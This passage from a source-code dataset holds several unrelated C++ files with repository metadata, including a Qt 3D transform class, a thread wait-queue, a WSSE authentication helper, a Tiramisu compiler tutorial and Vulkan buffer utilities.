i=1;i<vtr.size();i++) if(vtr[i]!=e[e.size()-1]) e.push_back(vtr[i]); cout<<e.size()<<"\n"; for(int i=0;i<e.size();i++) cout<<e[i].first<<" "<<e[i].second<<"\n"; } return 0; }
21.703704
69
0.468259
vinaysomawat
de7c4a2ae99c3b06f7bb0d7ee2d1e1fa7b112460
711
cpp
C++
transform3d.cpp
shadown/heap_history_viewer
bb51da640324df5637842d0250f1c741559d1d69
[ "MIT" ]
1
2021-08-03T21:06:09.000Z
2021-08-03T21:06:09.000Z
transform3d.cpp
whitehat42/heap_history_viewer
64666f57059e29cfc438a1885a0372af2b45c2f4
[ "MIT" ]
2
2019-11-19T10:00:02.000Z
2019-11-21T10:47:05.000Z
transform3d.cpp
whitehat42/heap_history_viewer
64666f57059e29cfc438a1885a0372af2b45c2f4
[ "MIT" ]
1
2019-11-18T23:05:50.000Z
2019-11-18T23:05:50.000Z
#include "transform3d.h" Transform3D::Transform3D() : dirty_(true), scale_(1.0, 1.0, 1.0) { } void Transform3D::translate(const QVector3D &dt) { dirty_ = true; translation_ += dt; } void Transform3D::scale(const QVector3D &ds) { dirty_ = true; scale_ *= ds; } void Transform3D::rotate(float angle, const QVector3D &axis) { dirty_ = true; rotation_ *= QQuaternion::fromAxisAndAngle(axis, angle) * rotation_; } void Transform3D::grow(const QVector3D &ds) { dirty_ = true; scale_ += ds; } const QMatrix4x4& Transform3D::toMatrix() { if (dirty_) { world_.setToIdentity(); world_.translate(translation_); world_.rotate(rotation_); world_.scale(scale_); } return world_; }
20.314286
70
0.682138
shadown
de805ada175db0cc2fe63b6332fcc67e902ffb01
526
cpp
C++
task3.cpp
Hung150/lab12
5065a9285295cf29aba089b2d6beff24bc5a538c
[ "Apache-2.0" ]
null
null
null
task3.cpp
Hung150/lab12
5065a9285295cf29aba089b2d6beff24bc5a538c
[ "Apache-2.0" ]
null
null
null
task3.cpp
Hung150/lab12
5065a9285295cf29aba089b2d6beff24bc5a538c
[ "Apache-2.0" ]
null
null
null
#include<iostream> #include<math.h> using namespace std; double rings(double r1,double r2){ return 3.14*(pow(r1,2)-pow(r2,2)); } int main(){ double r1,r2; cout<<"enter radius r1(r1>0): "; cin>>r1; cout<<"enter radius r2(0<r2<r1): "; cin>>r2; if(r1<0||r2<0){ cout<<"error(please enter radius>0)"; } if(r1<r2){ cout<<"error(please enter r1>r2)"; }else{ cout<<"the area of three rings for which the external and internal radii are given: "<<rings(r1,r2); } }
30.941176
103
0.579848
Hung150
de81aacd7516ae5cae0e7e196403419b5bfb8d2c
46
hpp
C++
src/boost_graph_parallel_algorithm.hpp
miathedev/BoostForArduino
919621dcd0c157094bed4df752b583ba6ea6409e
[ "BSL-1.0" ]
10
2018-03-17T00:58:42.000Z
2021-07-06T02:48:49.000Z
src/boost_graph_parallel_algorithm.hpp
miathedev/BoostForArduino
919621dcd0c157094bed4df752b583ba6ea6409e
[ "BSL-1.0" ]
2
2021-03-26T15:17:35.000Z
2021-05-20T23:55:08.000Z
src/boost_graph_parallel_algorithm.hpp
miathedev/BoostForArduino
919621dcd0c157094bed4df752b583ba6ea6409e
[ "BSL-1.0" ]
4
2019-05-28T21:06:37.000Z
2021-07-06T03:06:52.000Z
#include <boost/graph/parallel/algorithm.hpp>
23
45
0.804348
miathedev
de8d08cf5179a139cd5e204002a6aed961f510ca
3,364
cpp
C++
src/lib/HNReqWaitQueue.cpp
nottberg/libhnode2
51eef81213c3ead4edcb3d838bbb5773efbc7ca4
[ "MIT" ]
null
null
null
src/lib/HNReqWaitQueue.cpp
nottberg/libhnode2
51eef81213c3ead4edcb3d838bbb5773efbc7ca4
[ "MIT" ]
null
null
null
src/lib/HNReqWaitQueue.cpp
nottberg/libhnode2
51eef81213c3ead4edcb3d838bbb5773efbc7ca4
[ "MIT" ]
null
null
null
#include <unistd.h> #include <sys/eventfd.h> #include <iostream> #include <thread> #include <chrono> #include "HNReqWaitQueue.h" using namespace std::chrono_literals; HNReqWaitAction::HNReqWaitAction() { } HNReqWaitAction::~HNReqWaitAction() { } void HNReqWaitAction::prepare() { // Setup to begin waiting std::unique_lock<std::mutex> lk(m); std::cerr << "Preparing...thread: " << std::this_thread::get_id() << '\n'; resCode = HNRW_RESULT_WAITING; } void HNReqWaitAction::wait() { int idx = 35; // Wait until we are woken up or timeout std::unique_lock<std::mutex> lk(m); std::cerr << "Waiting...thread: " << std::this_thread::get_id() << '\n'; if( cv.wait_for( lk, idx*1000ms, [this]{return resCode != HNRW_RESULT_WAITING;} ) ) { std::cerr << "Thread " << std::this_thread::get_id() << " finished waiting. resCode == " << resCode << '\n'; } else { std::cerr << "Thread " << std::this_thread::get_id() << " timed out. resCode == " << resCode << '\n'; resCode = HNRW_RESULT_TIMEOUT; } } void HNReqWaitAction::complete( bool success ) { std::cerr << "Completing...thread: " << std::this_thread::get_id() << std::endl; std::lock_guard<std::mutex> lk(m); resCode = success ? HNRW_RESULT_SUCCESS : HNRW_RESULT_FAILURE; cv.notify_all(); } HNRW_RESULT_T HNReqWaitAction::getStatus() { return resCode; } HNReqWaitQueue::HNReqWaitQueue() { eventFD = (-1); postCnt = 0; releaseCnt = 0; } HNReqWaitQueue::~HNReqWaitQueue() { } bool HNReqWaitQueue::init() { const std::lock_guard< std::mutex > lock( queueMutex ); if( eventFD != -1 ) close( eventFD ); postCnt = 0; postQueue.clear(); eventFD = eventfd( 0, (EFD_NONBLOCK | EFD_SEMAPHORE) ); if( eventFD < 0 ) { return true; } return false; } int HNReqWaitQueue::getEventFD() { const std::lock_guard< std::mutex > lock( queueMutex ); return eventFD; } uint64_t HNReqWaitQueue::getPostedCnt() { // Grab scope lock const std::lock_guard< std::mutex > lock( queueMutex ); // Return count return postCnt; } void HNReqWaitQueue::postAndWait( HNReqWaitAction *record ) { uint64_t inc = 1; // Grab queue lock std::unique_lock< std::mutex > qlock( queueMutex ); // Prepare to wait record->prepare(); // Add new record postQueue.push_back( record ); // Account for new entry postCnt += 1; // Update wakeup event ssize_t result = write( eventFD, &inc, sizeof( inc ) ); if( result != sizeof( inc ) ) { std::cerr << "ERROR: Failed to update eventFD" << std::endl; // Error } // Drop the queue lock qlock.unlock(); // Block to wait for processing record->wait(); } HNReqWaitAction* HNReqWaitQueue::aquireRecord() { HNReqWaitAction *rtnObj; uint64_t buf; // Grab the scope lock const std::lock_guard< std::mutex > lock( queueMutex ); // Bounds check if( postCnt == 0 ) return NULL; // Read the eventFD, which will decrement the count by 1. read( eventFD, &buf, sizeof(buf) ); // Grab the front element from the queue rtnObj = postQueue.front(); postQueue.pop_front(); // One less item postCnt -= 1; // Return the object return rtnObj; }
18.585635
116
0.611177
nottberg
de8d684642e6008076e9bdc98f7e5965218a7034
4,711
cpp
C++
cetty-shiro/src/cetty/shiro/authc/WSSE.cpp
frankee/cetty2
62ac0cd1438275097e47a9ba471e72efd2746ded
[ "BSL-1.0", "Apache-2.0", "BSD-3-Clause" ]
26
2015-11-08T10:58:21.000Z
2021-02-25T08:27:26.000Z
cetty-shiro/src/cetty/shiro/authc/WSSE.cpp
frankee/cetty2
62ac0cd1438275097e47a9ba471e72efd2746ded
[ "BSL-1.0", "Apache-2.0", "BSD-3-Clause" ]
1
2019-02-18T08:46:17.000Z
2019-02-18T08:46:17.000Z
cetty-shiro/src/cetty/shiro/authc/WSSE.cpp
frankee/cetty2
62ac0cd1438275097e47a9ba471e72efd2746ded
[ "BSL-1.0", "Apache-2.0", "BSD-3-Clause" ]
8
2016-02-27T02:37:10.000Z
2021-09-29T05:25:00.000Z
/* * WSSE.cpp * * Created on: 2012-9-25 * Author: chenhl */ #include <cetty/shiro/authc/WSSE.h> #include <soci/soci.h> #include <soci/sqlite3/soci-sqlite3.h> #include <cetty/logging/LoggerHelper.h> #include <cetty/config/ConfigCenter.h> #include <cetty/util/StringUtil.h> namespace cetty { namespace shiro { namespace authc { using namespace cetty::util; using namespace cetty::config; const int WSSE::NONCE_LENGTH = 6; const int WSSE::SERVER_TIME_EXPIRE = 10 * 60; const std::string WSSE::USER_TOKEN_QUERY = "SELECT nonce " "FROM user_token " "WHERE username = ? AND created = ? AND is_used = 0"; const std::string WSSE::USER_TOKEN_UPDATE = "UPDATE user_token " "SET is_used = 1 " "WHERE username = ? AND created = ?"; const std::string WSSE::USER_TOKEN_SAVE = "INSERT INTO user_token(username, host, nonce, created, is_used) " "VALUES (?, ?, ?, ?, 0)"; WSSE& WSSE::instance() { static WSSE wsse; return wsse; } WSSE::WSSE() { ConfigCenter::instance().configure(&config); } void WSSE::generatorSecret(const std::string& principal, const std::string& host, std::string* nonce, std::string* created) { if (nonce == NULL || created == NULL) { LOG_ERROR << "Login secret (nonce or created) can't be NULL"; return; } generatorNonce(nonce); generatorCreated(created); save(host, principal, *nonce, *created); } bool WSSE::verifySecret(const std::string& host, const std::string& principal, const std::string& nonce, const std::string& created) { if (principal.empty() || nonce.empty() || created.empty() || isExpried(created)) { return false; } std::string storedNonce; retrive(principal, created, &storedNonce); return nonce == storedNonce; } bool WSSE::isExpried(const std::string& created) { std::string now; generatorCreated(&now); int64_t createdTime = StringUtil::strto64(created); int64_t nowTime = StringUtil::strto64(now); int64_t interval = nowTime - createdTime; if (interval > config.serverTimeExpire) { return true; } return false; } void WSSE::generatorNonce(std::string* nonce) { assert(nonce != NULL); std::srand((unsigned int)std::time(NULL)); char ch = '\0'; int i = 0; for (; i < config.nonceLength; ++i) { int t = (rand() % 61); if (t >= 0 && t <= 9) { ch = '0' + (char)t; } else if (t >= 10 && t <= 35) { ch = (char)t + 55; } else { ch = (char)t + 61; } nonce->append(1, ch); } } void WSSE::generatorCreated(std::string* created) { assert(created != NULL); std::time_t secs; time(&secs); char temp[20]; std::memset(temp, 0x00, sizeof(temp)); sprintf(temp, "%ld", secs); created->assign(temp); } void WSSE::retrive(const std::string& principal, const std::string& created, std::string* nonce) { if (nonce == NULL) { LOG_ERROR << "Argument ls can't be NULL."; return; } if (config.backend.empty() || config.connectionString.empty()) { LOG_ERROR << "DB connection info does not be set."; return; } soci::session sql; try { sql.open(config.backend, config.connectionString); sql << config.userTokenQuery, soci::into(*nonce), soci::use(principal), soci::use(created); } catch (soci::soci_error const& e) { LOG_ERROR << e.what(); return; } try { sql << config.userTokenUpdate, soci::use(principal), soci::use(created); //sql.commit(); } catch (soci::soci_error const& e) { LOG_ERROR << e.what(); //sql.rollback(); } sql.close(); } void WSSE::save(const std::string& host, const std::string& principal, const std::string& nonce, const std::string& created) { if (config.backend.empty() || config.connectionString.empty()) { LOG_ERROR << "DB connection info does not be set."; return; } soci::session sql; try { sql.open(config.backend, config.connectionString); sql << config.userTokenSave, soci::use(principal), soci::use(host), soci::use(nonce), soci::use(created); //sql.commit(); } catch (soci::soci_error const& e) { LOG_ERROR << e.what(); //sql.rollback(); } sql.close(); } } } }
23.437811
70
0.558692
frankee
de947f74886394776c0b220f387e9fac2269f455
1,170
cpp
C++
Crisp/Renderer/VulkanBufferUtils.cpp
FallenShard/Crisp
d4cf22c0f9af73a6c4ba2b7d67696f1a188fd423
[ "MIT" ]
6
2017-09-14T03:26:49.000Z
2021-09-18T05:40:59.000Z
Crisp/Renderer/VulkanBufferUtils.cpp
FallenShard/Crisp
d4cf22c0f9af73a6c4ba2b7d67696f1a188fd423
[ "MIT" ]
null
null
null
Crisp/Renderer/VulkanBufferUtils.cpp
FallenShard/Crisp
d4cf22c0f9af73a6c4ba2b7d67696f1a188fd423
[ "MIT" ]
null
null
null
#include "VulkanBufferUtils.hpp" namespace crisp { std::unique_ptr<VulkanBuffer> createStagingBuffer(VulkanDevice* device, VkDeviceSize size, const void* data) { auto stagingBuffer = std::make_unique<VulkanBuffer>(device, size, VK_BUFFER_USAGE_TRANSFER_SRC_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT); if (data) stagingBuffer->updateFromHost(data, size, 0); return stagingBuffer; } std::unique_ptr<VulkanBuffer> createVertexBuffer(VulkanDevice* device, VkDeviceSize size, VkBufferUsageFlags extraFlags) { VkBufferUsageFlags usageFlags = VK_BUFFER_USAGE_VERTEX_BUFFER_BIT | VK_BUFFER_USAGE_TRANSFER_DST_BIT; return std::make_unique<VulkanBuffer>(device, size, usageFlags | extraFlags, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT); } std::unique_ptr<VulkanBuffer> createIndexBuffer(VulkanDevice* device, VkDeviceSize size, VkBufferUsageFlags extraFlags) { VkBufferUsageFlags usageFlags = VK_BUFFER_USAGE_INDEX_BUFFER_BIT | VK_BUFFER_USAGE_TRANSFER_DST_BIT; return std::make_unique<VulkanBuffer>(device, size, usageFlags | extraFlags, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT); } }
48.75
145
0.770085
FallenShard
de97d47313d638e4dccaeadd4374682077b373dd
6,576
hpp
C++
rete-reasoner/NodeBuilderHelper.hpp
sempr-tk/rete
a6fd29f50f9e6a259d40ac0850acff7874ccdba0
[ "BSD-3-Clause" ]
1
2021-12-04T21:29:04.000Z
2021-12-04T21:29:04.000Z
rete-reasoner/NodeBuilderHelper.hpp
sempr-tk/rete
a6fd29f50f9e6a259d40ac0850acff7874ccdba0
[ "BSD-3-Clause" ]
null
null
null
rete-reasoner/NodeBuilderHelper.hpp
sempr-tk/rete
a6fd29f50f9e6a259d40ac0850acff7874ccdba0
[ "BSD-3-Clause" ]
null
null
null
#ifndef RETE_PARSER_NODE_BUILDER_HELPER_HPP_ #define RETE_PARSER_NODE_BUILDER_HELPER_HPP_ #include <type_traits> #include "Argument.hpp" #include "../rete-core/Util.hpp" #include "../rete-core/builtins/NumberToNumberConversion.hpp" #include "../rete-core/builtins/NumberToStringConversion.hpp" namespace rete { namespace util { /** throws if args has not exactly 'num' arguments */ void requireNumberOfArgs(ArgumentList& args, size_t num); /** throws if not min <= args.size() <= max */ void requireNumberOfArgs(ArgumentList& args, size_t min, size_t max); /** Pre-Access check used in other helper methods */ void argBoundCheck(ArgumentList& args, size_t index); /** throws if args[index] is not an unbound variable. */ void requireUnboundVariable(ArgumentList& args, size_t index); /** Implementation to get an interpretation from given an argument that is already known to be a constant (not an accessor) */ template <class T> PersistentInterpretation<T> interpretationFromConst(ArgumentList& /*args*/, size_t /*index*/) { // I would love to have this as a static assert. // But the distinction between interpretationFromConst and // interpretationFromAccessor can only be made at runtime. throw std::runtime_error("no implementation to get this from a constant"); } template <> inline PersistentInterpretation<float> interpretationFromConst(ArgumentList& args, size_t index) { auto& arg = args[index]; if (arg.getAST().isFloat()) { ConstantAccessor<float> acc(arg.getAST().toFloat()); acc.index() = 0; return acc.getInterpretation<float>()->makePersistent(); } else { throw rete::NodeBuilderException( "Argument " + std::to_string(index) + " must be a float. Given: " + arg.getAST()); } } template <> inline PersistentInterpretation<int> interpretationFromConst(ArgumentList& args, size_t index) { auto& arg = args[index]; if (arg.getAST().isInt()) { ConstantAccessor<int> acc(arg.getAST().toInt()); acc.index() = 0; return acc.getInterpretation<int>()->makePersistent(); } else { throw rete::NodeBuilderException( "Argument " + std::to_string(index) + " must be an int. Given: " + arg.getAST()); } } template <> inline PersistentInterpretation<std::string> interpretationFromConst(ArgumentList& args, size_t index) { auto& arg = args[index]; if (arg.getAST().isString() || arg.getAST().isURI()) { ConstantAccessor<std::string> acc(arg.getAST().toString()); acc.index() = 0; return acc.getInterpretation<std::string>()->makePersistent(); } else { throw rete::NodeBuilderException( "Argument " + std::to_string(index) + " must be a string. Given: " + arg.getAST()); } } /** Implementation to get an interpretation from given an argument that is already known to be an accessor (not a const) */ template <class T> PersistentInterpretation<T> interpretationFromAccessor(ArgumentList& args, size_t index) { auto& arg = args[index]; if (arg.isConst()) { throw rete::NodeBuilderException( "Argument " + std::to_string(index) + " is required to provide an interpretation to '" + util::beautified_typename<T>().value + "' but is a constant: '" + arg.getAST() + "'"); } auto acc = arg.getAccessor(); if (!acc) { throw rete::NodeBuilderException( "Argument " + std::to_string(index) + " is required to provide an interpretation to '" + util::beautified_typename<T>().value + "' but is an unbound variable: " + arg.getVariableName()); } auto interp = acc->getInterpretation<T>(); if (!interp) { throw rete::NodeBuilderException( "Argument " + std::to_string(index) + " is required to provide an interpretation to '" + util::beautified_typename<T>().value + "' (which it does not). Variable: " + arg.getVariableName()); } return interp->makePersistent(); } /** Converts an argument to a PersistentInterpretation of the given type, or throws if that is not possible. */ template <class T> PersistentInterpretation<T> requireInterpretation(ArgumentList& args, size_t index) { argBoundCheck(args, index); if (args[index].isConst()) return interpretationFromConst<T>(args, index); else return interpretationFromAccessor<T>(args, index); } /** Returns a NumberToNumberConversion based on the given arg */ template <class T> builtin::NumberToNumberConversion<T> requireNumberToNumberConversion(ArgumentList& args, size_t index) { argBoundCheck(args, index); auto& arg = args[index]; std::unique_ptr<AccessorBase> accessor; if (arg.isConst()) { // need to create an accessor! if (arg.getAST().isInt()) { accessor.reset(new ConstantAccessor<int>(arg.getAST().toInt())); accessor->index() = 0; } else if (arg.getAST().isFloat()) { accessor.reset(new ConstantAccessor<float>(arg.getAST().toFloat())); accessor->index() = 0; } else { throw rete::NodeBuilderException( "The given constant is not a number: " + arg.getAST()); } } else { if (arg.getAccessor()) { accessor.reset(arg.getAccessor()->clone()); } else { throw rete::NodeBuilderException( "Variable " + arg.getVariableName() + " must not be unbound."); } } auto& tmp = *accessor.get(); auto accType = util::demangle(typeid(tmp).name()); builtin::NumberToNumberConversion<T> conv(std::move(accessor)); if (!conv) { throw rete::NodeBuilderException( "Argument '" + arg.getAST() + "' cannot be converted to '" + util::beautified_typename<T>().value + "' -- accessor is '" + accType + "'."); } return conv; } /** Returns a NumberToStringConversion based on the given arg */ builtin::NumberToStringConversion requireNumberToStringConversion(ArgumentList& args, size_t index); } } #endif /* include guard: RETE_PARSER_NODE_BUILDER_HELPER_HPP_ */
27.982979
83
0.613747
sempr-tk
de9847be95d64b33763b0713218bb0de959832da
435
hpp
C++
Miracle/src/Miracle/Graphics/Implementations/Vulkan/Queue.hpp
McFlyboy/Miracle
03a41bb8e24ecf2dfc18b5e3aee964640ec9a593
[ "MIT" ]
null
null
null
Miracle/src/Miracle/Graphics/Implementations/Vulkan/Queue.hpp
McFlyboy/Miracle
03a41bb8e24ecf2dfc18b5e3aee964640ec9a593
[ "MIT" ]
3
2021-12-10T23:19:29.000Z
2022-03-27T05:04:14.000Z
Miracle/src/Miracle/Graphics/Implementations/Vulkan/Queue.hpp
McFlyboy/Miracle
03a41bb8e24ecf2dfc18b5e3aee964640ec9a593
[ "MIT" ]
null
null
null
#pragma once #include <cstdint> #include "Vulkan.hpp" namespace Miracle::Graphics::Implementations::Vulkan { class Queue { protected: vk::raii::Queue m_queue; Queue() : m_queue(nullptr) {} Queue( const vk::raii::Device& device, uint32_t queueFamilyIndex ) : m_queue(device.getQueue(queueFamilyIndex, 0)) {} public: virtual ~Queue() = default; inline void waitIdle() const { m_queue.waitIdle(); } }; }
16.111111
54
0.675862
McFlyboy
de9ca1442df3e923335d260ab7ce61e4ec6f2e0f
4,712
cpp
C++
Samples/HomeGroup/cpp/Scenario4_SearchUser.xaml.cpp
aspexkz/aspex1
157c9eb6127947e71458e473eb796f9585bc248e
[ "MIT" ]
3
2018-11-08T07:00:42.000Z
2019-01-09T12:16:07.000Z
Samples/HomeGroup/cpp/Scenario4_SearchUser.xaml.cpp
aspexkz/aspex1
157c9eb6127947e71458e473eb796f9585bc248e
[ "MIT" ]
4
2018-12-14T21:21:27.000Z
2019-01-07T20:15:17.000Z
Samples/HomeGroup/cpp/Scenario4_SearchUser.xaml.cpp
aspexkz/aspex1
157c9eb6127947e71458e473eb796f9585bc248e
[ "MIT" ]
2
2020-07-13T03:05:00.000Z
2021-08-11T15:16:12.000Z
// Copyright (c) Microsoft. All rights reserved. #include "pch.h" #include "Scenario4_SearchUser.xaml.h" using namespace SDKTemplate; using namespace Platform; using namespace Windows::Foundation; using namespace Windows::Foundation::Collections; using namespace Windows::UI::Xaml; using namespace Windows::UI::Xaml::Controls; using namespace Windows::UI::Xaml::Controls::Primitives; using namespace Windows::UI::Xaml::Data; using namespace Windows::UI::Xaml::Input; using namespace Windows::UI::Xaml::Media; using namespace Windows::UI::Xaml::Navigation; using namespace Windows::UI::Xaml; using namespace Windows::UI::Xaml::Controls; using namespace Windows::UI::Xaml::Navigation; using namespace Windows::UI::Xaml::Media::Imaging; using namespace Platform; using namespace Platform::Collections; using namespace Windows::Storage; using namespace Windows::Storage::Search; using namespace concurrency; using namespace Windows::System; using namespace Windows::Foundation; using namespace Windows::Foundation::Collections; using namespace std; using namespace Windows::Storage::FileProperties; using namespace Windows::Storage::Streams; Scenario4_SearchUser::Scenario4_SearchUser() { InitializeComponent(); } /// <summary> /// Scenario 4 initialization. Create a button for each HomeGroup user. /// </summary> /// <param name="e">Event data that describes how this page was reached. The Parameter /// property is typically used to configure the page.</param> void Scenario4_SearchUser::OnNavigatedTo(NavigationEventArgs^ e) { // A pointer back to the main page. This is needed if you want to call methods in MainPage such // as NotifyUser() rootPage = MainPage::Current; // This try/catch block is for scenarios where the HomeGroup Known Folder is not available. try { // Enumerate the HomeGroup first-level folders, which represent the HomeGroup users. create_task(KnownFolders::HomeGroup->GetFoldersAsync()).then( [this](IVectorView<StorageFolder^>^ folders) { if ((folders != nullptr) && (folders->Size != 0)) { // Create a button for each user in the HomeGroup. // The DataContext is the folder that represents the user's files. for (StorageFolder^ folder : folders) { Button^ button = ref new Button(); button->DataContext = folder; button->Style = safe_cast<Windows::UI::Xaml::Style^>(Resources->Lookup("UserButtonStyle")); button->Content = folder->Name; button->Click += ref new RoutedEventHandler(this, &Scenario4_SearchUser::UserButton_Click); UserGrid->Items->Append(button); } } else { rootPage->NotifyUser("No HomeGroup users found. Make sure you are joined to a HomeGroup and there is someone sharing.", NotifyType::ErrorMessage); } }); } catch (Exception^ ex) { rootPage->NotifyUser(ex->Message, NotifyType::StatusMessage); } } void Scenario4_SearchUser::UserButton_Click(Object^ sender, RoutedEventArgs^ e) { Button^ button = safe_cast<Button^>(sender); if (button != nullptr) { OutputProgressRing->IsActive = true; // Get the folder that represents the user's files, which wwe saved as the DataContext. StorageFolder^ folder = safe_cast<StorageFolder^>(button->DataContext); // This try/catch block is for scenarios where the HomeGroup Known Folder is not available. try { // Search for all files in that folder. auto queryOptions = ref new QueryOptions(CommonFileQuery::OrderBySearchRank, nullptr); queryOptions->UserSearchFilter = "*"; auto queryResult = folder->CreateFileQueryWithOptions(queryOptions); create_task(queryResult->GetFilesAsync()).then( [this, folder](IVectorView<StorageFile^>^ files) { String^ outputString = "Files shared by " + folder->Name + ": " + files->Size.ToString() + "\n"; for (StorageFile^ file : files) { outputString += file->Name + "\n"; }; rootPage->NotifyUser(outputString, NotifyType::StatusMessage); }); } catch (Exception^ ex) { rootPage->NotifyUser(ex->Message, NotifyType::StatusMessage); } } }
39.266667
163
0.627122
aspexkz
dea0792a88eb78219e2d6e9c62cddbfca0b6b7de
2,635
cpp
C++
tutorials/developers/tutorial_05/tutorial_05.cpp
BHafsa/tiramisu
555f48f38b7f3460819d1999e7af5c89457a4c58
[ "MIT" ]
null
null
null
tutorials/developers/tutorial_05/tutorial_05.cpp
BHafsa/tiramisu
555f48f38b7f3460819d1999e7af5c89457a4c58
[ "MIT" ]
null
null
null
tutorials/developers/tutorial_05/tutorial_05.cpp
BHafsa/tiramisu
555f48f38b7f3460819d1999e7af5c89457a4c58
[ "MIT" ]
null
null
null
#include <isl/set.h> #include <isl/union_map.h> #include <isl/union_set.h> #include <isl/ast_build.h> #include <isl/schedule.h> #include <isl/schedule_node.h> #include <tiramisu/debug.h> #include <tiramisu/core.h> #include <string.h> #include <Halide.h> /* Sequence of computations. for (i = 0; i < M; i++) S0(i) = 4; S1(i) = 3; for (j = 0; j < N; j++) S2(i, j) = 2; S3(i) = 1; */ #define SIZE0 10 using namespace tiramisu; int main(int argc, char **argv) { // Set default tiramisu options. global::set_default_tiramisu_options(); // ------------------------------------------------------- // Layer I // ------------------------------------------------------- function sequence("sequence"); expr e_M = expr((int32_t) SIZE0); constant M("M", e_M, p_int32, true, NULL, 0, &sequence); computation c0("[M]->{c0[i]: 0<=i<M}", expr((uint8_t) 4), true, p_uint8, &sequence); computation c1("[M]->{c1[i]: 0<=i<M}", expr((uint8_t) 3), true, p_uint8, &sequence); computation c2("[M]->{c2[i,j]: 0<=i<M and 0<=j<M}", expr((uint8_t) 2), true, p_uint8, &sequence); computation c3("[M]->{c3[i]: 0<=i<M}", expr((uint8_t) 1), true, p_uint8, &sequence); sequence.dump_iteration_domain(); // ------------------------------------------------------- // Layer II // ------------------------------------------------------- var i("i"); c1.after(c0, i); c2.after(c1, i); c3.after(c2, i); sequence.dump_schedule(); // ------------------------------------------------------- // Layer III // ------------------------------------------------------- buffer b0("b0", {expr(SIZE0)}, p_uint8, a_output, &sequence); buffer b1("b1", {expr(SIZE0)}, p_uint8, a_output, &sequence); buffer b2("b2", {expr(SIZE0), expr(SIZE0)}, p_uint8, a_output, &sequence); buffer b3("b3", {expr(SIZE0)}, p_uint8, a_output, &sequence); c0.set_access("{c0[i]->b0[i]}"); c1.set_access("{c1[i]->b1[i]}"); c2.set_access("{c2[i,j]->b2[i,j]}"); c3.set_access("{c3[i]->b3[i]}"); // ------------------------------------------------------- // Code Generator // ------------------------------------------------------- sequence.set_arguments({&b0, &b1, &b2, &b3}); sequence.gen_time_space_domain(); sequence.dump_trimmed_time_processor_domain(); sequence.gen_isl_ast(); sequence.gen_halide_stmt(); sequence.gen_halide_obj("build/generated_fct_developers_tutorial_05.o"); // Some debugging sequence.dump(true); sequence.dump_halide_stmt(); return 0; }
27.164948
89
0.488805
BHafsa
dea34400b4aaaf9ba105d0b284c51f04ff3eedc7
3,113
hh
C++
src/hkl_controls.hh
maciejwlodek/blend
00c892363876692c5370def0e37a106ad5f7b07e
[ "BSD-3-Clause" ]
null
null
null
src/hkl_controls.hh
maciejwlodek/blend
00c892363876692c5370def0e37a106ad5f7b07e
[ "BSD-3-Clause" ]
null
null
null
src/hkl_controls.hh
maciejwlodek/blend
00c892363876692c5370def0e37a106ad5f7b07e
[ "BSD-3-Clause" ]
1
2019-01-24T16:14:56.000Z
2019-01-24T16:14:56.000Z
// hkl_controls.hh // // Selection controls for hkl_unmerge #ifndef HKL_CONTROLS_HEADER #define HKL_CONTROLS_HEADER #include "controls.hh" #include "range.hh" #include "InputAll.hh" namespace scala { //=================================================================== class file_select //! Various things to control general selection from file //! - dataset selection //! - batch selection //! - resolution limits (on s = 1/d**2) //! - detector coordinate rejection ranges //! - criteria for blank image //! //! Also store totals rejected for various reasons { public: file_select(); //! constructor from input file_select(phaser_io::InputAll input, const int& NumFileSeries); void set_reslimits(const ResoRange& resrange); //!< set resolution limits ResoRange reslimits() const {return range_sel;} //!< return resolution limits //! test against limits, true if inside bool in_reslimits(const Rtype& s) const; bool accept_dataset(const PxdName& pxdname) const {return true;} //!< always true for now //! Return false if batch_number is in rejection lists // NB for reject options specifying batch numbers _after_ // any renumbering, no test will be done // (ie always returns true) unless fileSeries == 1 bool accept_batch(const int& batch_number, const int& fileSeries) const; BatchSelection BatchExclude() const {return batchexclude;} //!< return list of excluded batches void incr_rej_mflag() {nrej_mflag++;} //!< Increment rejection counts void incr_rej_reso() {nrej_reso++;} //!< Increment rejection counts int Nrej_mflag() const {return nrej_mflag;} //!< return rejection counts int Nrej_reso() const {return nrej_reso;} //!< return rejection counts float InputScale() const {return inputscale;} //!< get scale to be applied on input float& InputScale() {return inputscale;} //!< set scale to be applied on input //! Test for blank batches: get fraction of maximum resolution to use float NullResFrac() const {return nullResolutionfraction;} // get //! Test for blank batches: set fraction of maximum resolution to use float& NullResFrac() {return nullResolutionfraction;} // set //! Test for blank batches: get threshold on proportion of negative reflections float NullNegativeReject() const {return nullNegativeReject;} // get //! Test for blank batches: set threshold on proportion of negative reflections float& NullNegativeReject() {return nullNegativeReject;} // set private: void init(); int nrej_mflag, nrej_reso; ResoRange range_sel; BatchSelection batchexclude; // List/ranges of batches to exclude BatchSelection batchinclude; // List/ranges of batches to include (from RUN) float inputscale; // scale factor to apply on input // fraction of maximum resolution to use in test for blank batches float nullResolutionfraction; // Threshold on proportion of negative reflections float nullNegativeReject; }; // file_select } #endif
38.432099
99
0.685512
maciejwlodek
dea7ef91f9c8021c88fc83041fc9a92fbcd754f1
747
cpp
C++
C++ Competitive Programming/Algorithms/TwoPointerMethod.cpp
arcelioeperez/arcelioeperez
105775426e018c0d07238a78a7ceaef29cc715ed
[ "MIT" ]
2
2020-10-31T17:30:48.000Z
2020-11-09T02:29:15.000Z
C++ Competitive Programming/Algorithms/TwoPointerMethod.cpp
arcelioeperez/arcelioeperez
105775426e018c0d07238a78a7ceaef29cc715ed
[ "MIT" ]
null
null
null
C++ Competitive Programming/Algorithms/TwoPointerMethod.cpp
arcelioeperez/arcelioeperez
105775426e018c0d07238a78a7ceaef29cc715ed
[ "MIT" ]
null
null
null
/* Original Version used an array. This version uses a vector. */ #include <iostream> #include <vector> using namespace std; typedef vector<int> vect; bool pairsum(vect v, int X) { //second pointer int j = v.size() - 1; int i = 0; while (i < j) { //pair if (v[i] + v[j] == X) { return 1; } //if sum of pairs is < X then increment first pointer else if (v[i] + v[j] < X) { //i = i + 1; i++; } //sum of pairs > X then decrement second pointer else { //j = j - 1; j--; } } return 0; } int main() { vect nv = {4, 7, 2, 5, 3, 9}; int search_val = 9; //returns 1 or 0 //1 if there is a pair cout << pairsum(nv, search_val) << endl; return 0; }
14.365385
59
0.516734
arcelioeperez
deab37f51b11de0332db6a699243bbd22acaef35
1,833
cpp
C++
CarreGameEngine/CarreGameEngine/src/AllStatesFSM.cpp
CordellSmith/ICT397Carre
5241a01f6443df8296344ae79e34bc1b1ac08441
